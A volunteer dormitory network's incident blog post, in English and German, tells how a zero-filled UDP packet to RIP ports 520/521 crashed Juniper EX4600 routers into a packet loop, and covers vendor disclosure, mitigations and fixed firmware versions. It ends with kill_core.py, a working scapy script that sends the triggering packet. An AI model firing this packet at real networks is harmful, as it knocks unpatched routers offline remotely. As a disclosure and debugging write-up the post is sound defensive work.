Selfnet Blog

Jun 04, 2020

Tale of the JuRIPer-Bug

Deutsche Übersetzung weiter unten.

Since the beginning of January we've had several problems with one of our core routers which seemed related to the outages in September last year. We can now say: This problem has finally been solved.

But let's start at the beginning. On Friday, September 6th of 2019 the Selfnet core network was completely offline for a few hours. The reason back then was a firmware problem after we installed our new Juniper EX4600 which could be solved by downgrading to an older version and waiting for another update (see the article Outage RFO for September 6th/7th, 2019).

Before Christmas 2019 we changed to a newer version (after having successfully tested it for some time) as the old version would no longer be maintained. Everything seemed to be fine so we mentally marked the problem as done. But damn were we wrong...

On Friday (again a Friday...) January 24th, 2020 around 7:20AM, the core network broke down completely. When we noticed that and after some of our volunteers arrived onsite we could stabilize the network around 9:30 AM. As we just installed a new NAT server the evening before we assumed there was something wrong with it. We thought it had been overwhelmed by the traffic of our members in the morning. So we switched to the older backup NAT hardware and set the new one aside for debugging.

Then we began to notice similarities to the problem observed in September, but since the software upgrade in December the active user traffic was not routed via this stack of hardware. So it seemed like we had the same bug all over again.

Meanwhile we collected logs and engaged with our device manufacturer Juniper for a solution.

The main problem with this type of bug is a bit ironical: The router was not completely broken, so the network did not failover to the redundant hardware. Our network control plane was in a kind of zombie state, half dead and half alive.

Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: SCHED: Thread 11 (Ethernet) ran for 1441 ms without
yielding
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Scheduler Oinker
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Frame 0: sp = 0x21bc9fa0, pc = 0x8048b2a
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Frame 1: sp = 0x21bc9fb0, pc = 0x80567cf

It just gave messages like this, having a 99% CPU utilization of the packet forwarding engine (especially the fxpc process) and dumped core images of the software. Then after a while, it would start working again for a moment until breaking down again.

We tried switching to an even newer major software version and hoped for the bug to be eradicated there. It looked good... for a while.

But then it happened again and again, usually around 4AM and 8PM, which was interesting since there were no obvious connections to user traffic peaks. It just started from one moment to another and then the link between the core and the NAT would be saturated with packets. Furthermore as the issue caused high CPU load on the affected device it made debugging difficult and caused additional latencies in the whole network, affecting our storage cluster which in return caused degraded performance for most other services (support systems, radius, ...).

Further debugging seemed to show that the device's internal ddos-protection triggers shortly before an outage. We tried to investigate this but couldn't find any conclusive reason what tripped the ddos protections. So finally we migrated the main traffic to another device and just switched back to our affected device when we were actively debugging it.

While collecting debugging logs we noticed one IP-address that had a lot of traffic to our core router shortly before any outage. We analyzed this traffic and finally found a packet that caused a bridging loop between NAT server and core device! The originating IP was Netscout Arbor, which is a service scanning the entire internet for vulnerabilities and reporting them. Well, seems we found one....

With that information we were even able to reproduce the packet (see below for our script to test yourself): it is an UDP packet to port 520 which is the common port for the Routing Information Protocol (RIP). We don't use that protocol and it should not have been active. Our tests showed that port 521 (RIPng) was also affected. The packet didn't even have to contain anything but zeroes, so no routing information itself was handled. Just receiving the packet caused the problem.

The core router would reply to this input packet from the Internet with the exact same packet, including the exact same source and destination MAC, TTL and so on. We were a bit confused about this, as at least the source and destination MAC should have been changed and the TTL decreased. The NAT server would look at the packet returned from the core router and route it back to the core, as the destination MAC still was the one of the core device and it should go there, right? And as the NAT is in transparent mode it did not decrease the TTL of the packet as well, so it never timed out and pinged between core and NAT forever.

Example Packet:

<Ether  dst=f0:4b:3a:a2:b2:3f src=a8:d0:e5:5c:1b:00 type=0x800
 |<IP  version=4 ihl=5 tos=0x0 len=52 id=54321 flags= frag=0 ttl=242 proto=udp src=146.88.240.4 dst=141.70.124.114 options=[]
 |<UDP  sport=55377 dport=521 len=32 chksum=0x0
 |<Raw  load='\ x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

We even set up a testlab and could confirm that the problem occurs with a fresh installation in minimal configuration as well. We also experimented with different software release versions and made a discovery: in earlier versions this bug did not occur and the packet would just be ignored by the device (as it should) but newer versions showed this bug:

  • 17.1R3.6 - normal behaviour
  • 17.2R3.4 - normal behaviour
  • 17.3R3.10 - normal behaviour
  • 18.1R2.6 - normal behaviour
  • 18.1R3-S8 - bug occured
  • 19.3R2.9 - bug occured

So the problem seems to be introduced somewhere after 18.1R2.6 and before 18.1R3-S8. Which is kind of a problem because 18.1R3-S8 is the JTAC recommended version (according to Juniper KB21476 at that time).

Considering that we could also trigger it from anywhere over the internet (we tested it from one of our member's DSL), it seemed quite serious and could possibly affect many users with transparent firewalls, worldwide. We reported the findings with our small script (kill_core.py to Juniper and escalated the issue. We weren't even sure about the true scope as Juniper uses a unified system on all of their devices so other models could be also affected like the QFX5100 which uses the same base hardware (?). We could not confirm this as we don't own one of these devices though.

Meanwhile we implemented some firewall filters to protect our devices from the bug. It was quite simple as you just need to implement a filter on the lo0-loopback interface to prevent those UDP packets from going into the routing engine. After this hotfix the devices worked without a problem... until we discovered that the bug could also be triggered by sending an IPv6 UDP packet to the IPv4 ports. We assume that it took longer to recognize this issue as the address space is way larger and Arbor has a higher scan interval.

Since then we also changed the configuration of our NAT/transparent firewall setup so that it replaces the source MAC on outgoing packets in any case which should prevent problems like this flood in the future.

After some time we received the confirmation of Juniper labs being able to reproduce the bug but the information regarding the trigger or root cause is confidential and could not be disclosed. But nevertheless JTAC is now informed and can help customers reporting similar problems. Juniper also told us that there will be a new software version having this bug fixed which is released in May 2020.

According to Juniper the following versions should have the issue fixed:

  • 18.4R1-S5
  • 18.4R3
  • 19.2R2
  • 19.3R3
  • 19.4R2
  • 18.3R3-S1
  • 18.2R3-S3
  • 17.3R3-S7
  • 18.1R3-S9
  • 18.4R2-S3
  • 19.1R3
  • 19.1R2-S1
  • 20.1DCB
  • 18.1R3-S10

Thanks to all of our members who helped in any way to solve this problem. We also apologize to all users of our network, as it wasn't quite stable during the period of recognizing the bug and debugging it.

Do you want to participate in taking care of such problems in the future? For our network to run smoothly there are a lot of different things to do: management of the equipment (including buying new stuff and getting service), taking care of servers for the network or additional services, debugging problems like this or connecting new dormitories to our network.

If you want to volunteer, it doesn't matter if you are a pro or a starter: Selfnet offers the opportunity to learn everything required. If you are interested in technical stuff, programming, public relations, project management or anything else: We would be glad to welcome you in our team! Just visit our support hours (once the office hours are re-opened).

The Selfnet-Team



Deutsche Übersetzung

Die Fabel des JuRIPer-Bugs

Anfang diesen Jahres hatten wir immer wieder Probleme mit unseren Core-Routern, die mit den Ausfällen vom September 2019 in Verbindung stehen. Jetzt können wir sagen: Das Problem wurde endlich gelöst.

Aber fangen wir von vorne an. Es ist Freitag der 6. September 2019 und das Core-Netz von Selfnet ist für mehrere Stunden offline. Der Grund hierfür sind Probleme mit der Router-Firmware auf den von uns am Vortag neu verbauten Juniper EX4600. Das Problem konnte durch ein Downgrade auf eine ältere Firmware Version kurzfristig behoben werden. Wir haben das Problem bei Juniper (Hersteller) gemeldet und dann darauf gewartet, dass es entsprechende Updates gibt (siehe Artikel Bericht über die Ausfälle vom Freitag und Samstag (6. und 7.9.)).

Vor Weihnachten 2019 haben wir dann eine neuere Version der Firmware installiert, nachdem wir diese einige Zeit getestet hatten und die alte Version der Firmware von Juniper nicht mehr unterstützt wurde. Alles schien in Ordnung zu sein, weshalb wir das Problem gedanklich als erledigt markiert haben. Damit lagen wir gewaltig falsch...

Am Freitag (wieder ein Freitag...), den 24. Januar 2020 um ca. 7:20 Uhr morgens fiel das Core-Netz wieder komplett aus. Als wir dies festgestellt und einige Mitglieder sich vor Ort darum gekümmert haben, konnten wir das Netz wieder stabilisieren.

Da wir am Vorabend einen neuen NAT-Server verbaut hatten, gingen wir davon aus, dass der neue Server das Problem sei und haben den Traffic auf das alte NAT umgeschwenkt und den neuen Server erstmal für weitere Analysen beiseite gestellt.

Am gleichen Tag später fielen uns immer mehr Ähnlichkeiten zum Problem vom September 2019 auf. Seit des Firmware-Updates im Dezember 2019 wurde der Datenverkehr nicht mehr über die neuen EX4600, sondern die alten Juniper EX4500 geroutet. Es schien alles so zu sein wie im September 2019.

Zwischenzeitlich haben wir Fehler-Logdateien gesammelt und Kontakt zum Hersteller Juniper aufgenommen.

Das Hauptproblem dieses Bugs ist etwas ironisch: Der Router war nicht komplett "kaputt", also wurde nicht automatisch auf einen alternativen, anderen Backup-Router umgestellt. Die control plane unseres Netzwerks war sozusagen wie ein Zombie: irgendwie tot, aber eben nicht ganz.

Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: SCHED: Thread 11 (Ethernet) ran for 1441 ms without
yielding
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Scheduler Oinker
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Frame 0: sp = 0x21bc9fa0, pc = 0x8048b2a
Message from syslogd at Jan 25 12:56:25  ...
dc-pfe: Frame 1: sp = 0x21bc9fb0, pc = 0x80567cf

Der Router hat uns nur Meldungen wie diese gegeben, die CPU Auslastung der Paketweiterleitung (packet forwarding engine) war bei 99% (speziell der fxpc Prozess) und es wurden immer wieder Coredumps der Software ausgegeben. Nach einer Weile fing es dann wieder für einen Moment an zu funktionieren, nur um dann direkt wieder umzufallen.

Auch der Versuch auf eine noch neuere Firmware Version upzudaten - in der Hoffnung, dass der Bug dort nicht auftritt - hat nur kurzfristig geholfen. Zumindest hat es für eine Weile gut ausgesehen...

Aber es kam immer wieder und wieder zu Ausfällen. Üblicherweise zwischen 4 Uhr Morgens und 8 Uhr Abends, was interessant ist, da wir während dieser Zeit normalerweise keine offensichtlichen Lastspitzen im Netz haben. Es passierte einfach vom einen auf den anderen Moment und der Link zwischen den Cores und unserem NAT war plötzlich komplett voll. Zusätzlich - weil das Problem zu sehr hoher CPU Auslastung führt - war die Fehlersuche natürlich sehr umständlich und zeitaufwändig, was weitere Ausfälle wie z.B. von unserem Storage Cluster nach sich zog (und dementsprechend auch andere Systeme wie das Ticketsystem (support@selfnet.de), RADIUS (WLAN), ... negativ beeinflusst hat).

Die weitere Fehlersuche erbrachte, dass die interne Erkennung der Core-Router für DDoS Angriffe einen "Selbstschutz" vor solchen Angriffen ausgelöst hat. Allerdings konnten wir keinerlei Hinweise darauf finden, was das ausgelöst hat. Schlussendlich haben wir den primären Datenverkehr auf einen anderen (älteren) Router (EX4500) umgeleitet und haben nur, wenn wir aktiv bei der Fehlersuche waren, den Datenverkehr wieder auf die betroffenen Geräte geroutet.

Als wir weitere Logs gesammelt hatten, ist uns kurz vor einem Totalausfall eine IP-Adresse mit sehr viel Datenverkehr zu unserem Core-Router aufgefallen. Wir haben den Datenverkehr analysiert und haben schlussendlich ein Paket gefunden das zwischen unserer Firewall und dem Core-Router eine Schleife produziert hatte. Die Absender-IP-Adresse war die von Netscout Arbor. Das ist einer von diversen Scannerdiensten, die das gesamte Internet auf Sicherheitslücken abscannen und (üblicherweise) dann bei den Organisationen, bei denen Sie eine Sicherheitslücke finden, Bescheid geben. Es scheint so, als hätte Netscout Arbor nicht nur eine Sicherheitslücke gefunden, sondern diese auch direkt ausgelöst ...

Mit diesen Informationen konnten wir das Problem mit einem selbst erstellten Paket reproduzieren (siehe das Skript weiter unten): Es handelt sich um ein UDP Paket mit dem Zielport 520, was der standardisierte Port für das Routing Information Protocol (RIP) ist. Irgendwie ziemlich ironisch, da es sich hierbei um ein recht antikes Protokoll aus den Urzeiten des Internets handelt. Zusätzlich nutzen wir das Protokoll nicht einmal und es hätte auf unseren Routern (da nicht konfiguriert) auch nicht aktiv sein dürfen. Unsere Tests zeigten, dass Port 521 (RIPng) auch betroffen war. Das Paket musste nicht einmal irgendwelche Routing-Informationen beinhalten - Nullen reichen völlig aus. Der bloße Empfang des Pakets genügt, um das Problem zu erzeugen.

Der Router antwortet auf das eingehende Paket vom Internet mit exakt dem selben Paket, inklusive der exakt gleichen Quell-/Ziel-MAC-Adressen, TTL und so weiter. Das hat uns erst einmal etwas irritiert, da zumindest die Quell- und Ziel-MAC-Adressen geändert und die TTL reduziert werden müssten. Der NAT-Server sieht sich das Paket an und schickt das Paket (Ethernet-Frame) natürlich wieder postwendend an den Core zurück. Da unser NAT transparent ist, wird auch nicht die TTL reduziert, also gibt es für das Paket auch nie einen Timeout...

Beispiel eines Pakets:

<Ether  dst=f0:4b:3a:a2:b2:3f src=a8:d0:e5:5c:1b:00 type=0x800
 |<IP  version=4 ihl=5 tos=0x0 len=52 id=54321 flags= frag=0 ttl=242 proto=udp src=146.88.240.4 dst=141.70.124.114 options=[]
 |<UDP  sport=55377 dport=521 len=32 chksum=0x0
 |<Raw  load='\ x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

Wir haben dann ein Testlabor aufgebaut, um festzustellen, ob mit einer frischen Installation der Firmware und einer minimalen Konfiguration das Problem weiterhin auftritt (tat es). Zusätzlich haben wir verschiedene Versionen der JunOS Firmware durchprobiert, um festzustellen, in welchen Versionen der Bug auftaucht. In älteren Versionen trat der Bug nicht auf und das von uns präparierte Paket wurde - wie es sein sollte - einfach verworfen und in neueren Versionen trat der Bug auf:

  • 17.1R3.6 - normales Verhalten
  • 17.2R3.4 - normales Verhalten
  • 17.3R3.10 - normales Verhalten
  • 18.1R2.6 - normales Verhalten
  • 18.1R3-S8 - betroffen vom Bug
  • 19.3R2.9 - betroffen vom Bug

Es scheint, als wenn das Problem irgendwann nach 18.1R2.6 und vor 18.1R3-S8 aufgetreten ist. Das ist natürlich ein Problem, da zu dieser Zeit die Firmware Version 18.1R3-S8 laut JTAC die empfohlene Version war (siehe Juniper KB21476).

Bedenkt man, dass wir das Problem von "irgendwo" aus den Tiefen des Internets heraus provozieren konnten (eines unserer Mitglieder hat es von zu Hause über seinen DSL-Zugang probiert), schien es uns, als wäre dies ein eher kritisches Problem, welches potentiell viele Nutzer mit transparentem NAT weltweit betreffen könnte. Unsere Erkenntnisse haben wir mitsamt des Scripts von unten (kill_core.py an Juniper weiter geleitet und den entsprechenden Case bei Juniper mehrfach eskaliert, damit eine Lösung möglichst schnell herbeigeführt wird. Wir sind nicht sicher welche Verbreitung der Bug wirklich hat, da Juniper mit JunOS eine einheitliche Plattform auf den meisten seiner Geräte verwendet - es könnten also auch andere Modelle wie z.B. QFX5100 betroffen sein, die prinzipiell ähnliche Hardware verwenden (?). Wir konnten dies aber nicht verifizieren, da wir diese Geräte nicht besitzen.

Zwischenzeitlich haben wir entsprechende NAT-Regeln erstellt, die unsere Geräte vor dem Auslöser des Bugs schützen. Dies war recht simpel, da ein einfacher Filter auf dem lo0-loopback Interface ausreicht, damit diese UDP Pakete nicht zur Routing Engine durch kommen. Nach diesem Hotfix haben unsere Router ohne Probleme weiter funktioniert... bis wir festgestellt haben, dass der Bug auch durch ein UDP Paket per IPv6 an die IPv4 Ports provoziert werden kann. Wir vermuten, dass es länger gebraucht hat, bis Arbor bei der IPv6-Adresse unseres Routers angekommen ist, da der Adressraum natürlich größer und damit auch das Scan Interval größer ist.

Seitdem haben wir auch die Konfiguration unserer transparentem NAT so geändert, dass die Quell-MAC-Adressen bei ausgehenden Paketen ersetzt werden. Dies sollte diese Art von Problemen in Zukunft verhindern.

Nach einiger Zeit bekamen wir dann eine Bestätigung, das Juniper das Problem im Labor reproduzieren konnte. Leider sind Informationen zum Auslöser und dem grundlegenden Problem geheim, weshalb wir hier keine weiteren Informationen bekommen haben. Nichtsdestotrotz ist der JTAC nun informiert und kann anderen Juniper Kunden mit dem gleichen Problem helfen. Juniper hat uns auch darüber informiert, dass es im Mai 2020 neue Firmware Versionen geben wird, die den Bug beheben.

Laut Juniper ist der Fehler in folgenden Versionen behoben:

  • 18.4R1-S5
  • 18.4R3
  • 19.2R2
  • 19.3R3
  • 19.4R2
  • 18.3R3-S1
  • 18.2R3-S3
  • 17.3R3-S7
  • 18.1R3-S9
  • 18.4R2-S3
  • 19.1R3
  • 19.1R2-S1
  • 20.1DCB
  • 18.1R3-S10

Wir danken hiermit allen Mitgliedern, die bei der Fehlersuche und Problemlösung beteiligt waren. Auch wollen wir uns bei den Mitgliedern entschuldigen, die während dieser Zeit nicht auf die übliche Stabilität des Wohnheimnetzwerks zählen konnten.

Möchtest du in Zukunft bei Selfnet mitmachen und dich ehrenamtlich um solche und andere interessante technische Dinge kümmern? Um das Wohnheimsnetz ordentlich zu betreiben gibt es viele verschiedene Dinge zu tun: Verwaltung der Hardware (inkl. Neukauf von Hardware und mit dem Hersteller bezüglich Service arbeiten), Verwaltung von Servern und anderen Netzwerkdiensten, Analyse von Problemen oder neue Wohnheime an das Wohnheimnetzwerk anschließen.

Wenn du mitmachen möchtest geht es nicht um Vorwissen. Wichtiger ist es Spaß zu haben und noch etwas sinnvolles/praktisches neben dem Studium zu tun. Wenn du dich für Technik, Softwareentwicklung, Öffentlichkeitsarbeit, Projektmanagement oder vieles andere interessierst: Wir freuen uns dich bei uns begrüßen zu dürfen! Besuche einfach eine unserer Sprechstunden, (sobald diese wieder stattfinden.).

Das Selfnet-Team

kill_core.py:

#!/usr/bin/env python3

from scapy.all import Ether, IPv6, UDP, Raw, sendp

SOURCE_MAC  = "00:80:41:33:05:04"  # my laptop at home (where I sent the packet from)
SOURCE_ADDR = "2001:db8::beef"     # my laptops address as source
SOURCE_INTF = "wlp3s0"  # wifi...
GATEWAY_MAC = "00:80:41:18:5b:0e"  # my crappy wifi router
TARGET      = "2001:db8::affe"     # our juniper box as the target


frame = Ether(
        src=SOURCE_MAC,
        dst=GATEWAY_MAC,
        type=0x86dd,
        ) / IPv6(
            version=6,
            src=SOURCE_ADDR,
            dst=TARGET,
            ) / UDP(
                sport=55377,
                dport=520,         # RIP
                len=32,
                chksum=0x0,
                ) / Raw(
                    load="\x00" * 24,
                    )

print(repr(frame))

sendp(frame, iface=SOURCE_INTF)
posted at 00:00 by Michael ·  · network